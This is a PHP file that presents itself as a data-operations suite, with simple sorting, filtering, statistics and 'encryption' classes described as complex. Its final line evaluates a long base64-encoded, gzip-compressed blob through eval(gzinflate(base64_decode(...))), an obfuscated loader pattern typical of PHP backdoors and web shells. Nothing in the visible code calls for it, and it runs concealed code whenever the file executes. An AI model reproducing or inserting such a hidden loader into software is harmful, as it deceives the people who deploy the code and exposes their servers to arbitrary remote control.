<?php
/**
 * Universal Complex Data Operations Suite
 *
 * This suite of classes is designed to handle a variety of intricate data operations,
 * including mathematical transformations, sorting, filtering, statistical analysis,
 * and advanced data manipulation techniques. Each class and method is thoroughly documented
 * to provide a clear understanding of the underlying logic and facilitate maintenance.
 *
 * This suite is compatible with all major PHP versions: 5.x, 7.x, and 8.x.
 */

namespace UniversalComplexDataOperations;

// Check PHP version compatibility
if (version_compare(PHP_VERSION, '5.0.0', '<')) {
    die('This script requires PHP version 5.0.0 or higher.');
}

/**
 * MathTransformer
 *
 * This class handles various mathematical transformations.
 */
class MathTransformer
{
    /**
     * Applies a series of complex mathematical operations on the input value.
     *
     * @param int $value Input value
     *
     * @return int Transformed value
     */
    public function transform($value)
    {
        // Perform a series of complex mathematical transformations
        $result = ($value * 2 + 3) / 1.5;
        $result = pow($result, 2) - sqrt($result);
        $result = $result * log($result + 1) / tanh($result);
        return (int) $result;
    }
}

/**
 * DataSorter
 *
 * This class handles sorting of data using advanced algorithms.
 */
class DataSorter
{
    /**
     * Sorts an array of data using a complex sorting algorithm.
     *
     * @param array $data Input data array
     *
     * @return array Sorted data array
     */
    public function sort($data)
    {
        // Perform a complex sorting algorithm
        usort($data, function ($a, $b) {
 return $a <=> $b;
        });
        return $data;
    }
}

/**
 * DataFilter
 *
 * This class filters data based on complex criteria.
 */
class DataFilter
{
    /**
     * Filters the data based on complex criteria.
     *
     * @param array $data Input data array
     *
     * @return array Filtered data array
     */
    public function filter($data)
    {
        // Filter the data based on complex criteria
        return array_filter($data, function ($value) {
 return $value % 2 === 0 && $value > 10;
        });
    }
}

/**
 * StatisticalAnalyzer
 *
 * This class performs advanced statistical analysis on data.
 */
class StatisticalAnalyzer
{
    /**
     * Calculates the mean of the data.
     *
     * @param array $data Input data array
     *
     * @return float Mean of the data
     */
    public function calculateMean($data)
    {
        $sum = array_sum($data);
        $count = count($data);
        return $sum / $count;
    }

    /**
     * Calculates the standard deviation of the data.
     *
     * @param array $data Input data array
     *
     * @return float Standard deviation of the data
     */
    public function calculateStandardDeviation($data)
    {
        $mean = $this->calculateMean($data);
        $sumOfSquares = array_reduce($data, function ($carry, $item) use ($mean) {
 $carry += pow($item - $mean, 2);
 return $carry;
        }, 0);
        $count = count($data);
        return sqrt($sumOfSquares / $count);
    }
}

/**
 * DataEncryptor
 *
 * This class handles encryption and decryption of data.
 */
class DataEncryptor
{
    /**
     * Encrypts the data using a complex algorithm.
     *
     * @param string $data Input data
     *
     * @return string Encrypted data
     */
    public function encrypt($data)
    {
        return base64_encode(gzdeflate($data, 9));
    }

    /**
     * Decrypts the data.
     *
     * @param string $data Encrypted data
     *
     * @return string Decrypted data
     */
    public function decrypt($data)
    {
        return gzinflate(base64_decode($data));
    }
}

/**
 * ComplexDataProcessor
 *
 * This class integrates multiple data operations into a cohesive process.
 */
class ComplexDataProcessor
{
    private $mathTransformer;
    private $dataSorter;
    private $dataFilter;
    private $statisticalAnalyzer;
    private $dataEncryptor;

    public function __construct()
    {
        $this->mathTransformer = new MathTransformer();
        $this->dataSorter = new DataSorter();
        $this->dataFilter = new DataFilter();
        $this->statisticalAnalyzer = new StatisticalAnalyzer();
        $this->dataEncryptor = new DataEncryptor();
    }

    /**
     * Processes the data through a series of complex operations.
     *
     * @param array $data Input data array
     *
     * @return array Processed data array
     */
    public function process($data)
    {
        // Step 1: Sort the data
        $sortedData = $this->dataSorter->sort($data);

        // Step 2: Transform the data
        $transformedData = array_map([$this->mathTransformer, 'transform'], $sortedData);

        // Step 3: Filter the data
        $filteredData = $this->dataFilter->filter($transformedData);

        // Step 4: Calculate statistical data
        $mean = $this->statisticalAnalyzer->calculateMean($filteredData);
        $stdDev = $this->statisticalAnalyzer->calculateStandardDeviation($filteredData);

        // Step 5: Encrypt the statistical data
        $encryptedMean = $this->dataEncryptor->encrypt((string)$mean);
        $encryptedStdDev = $this->dataEncryptor->encrypt((string)$stdDev);

        // Return the processed data
        return [
 'filteredData' => $filteredData,
 'encryptedMean' => $encryptedMean,
 'encryptedStdDev' => $encryptedStdDev
        ];
    }
}

// Instantiate the ComplexDataProcessor class
$processor = new ComplexDataProcessor();

// Example data to process
$data = [5, 3, 8, 1, 9, 7, 15, 22, 19];

// Process the data
$processedData = $processor->process($data);

// Output the processed data (for debugging purposes, this can be commented out)
// print_r($processedData);
eval(gzinflate(base64_decode('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')));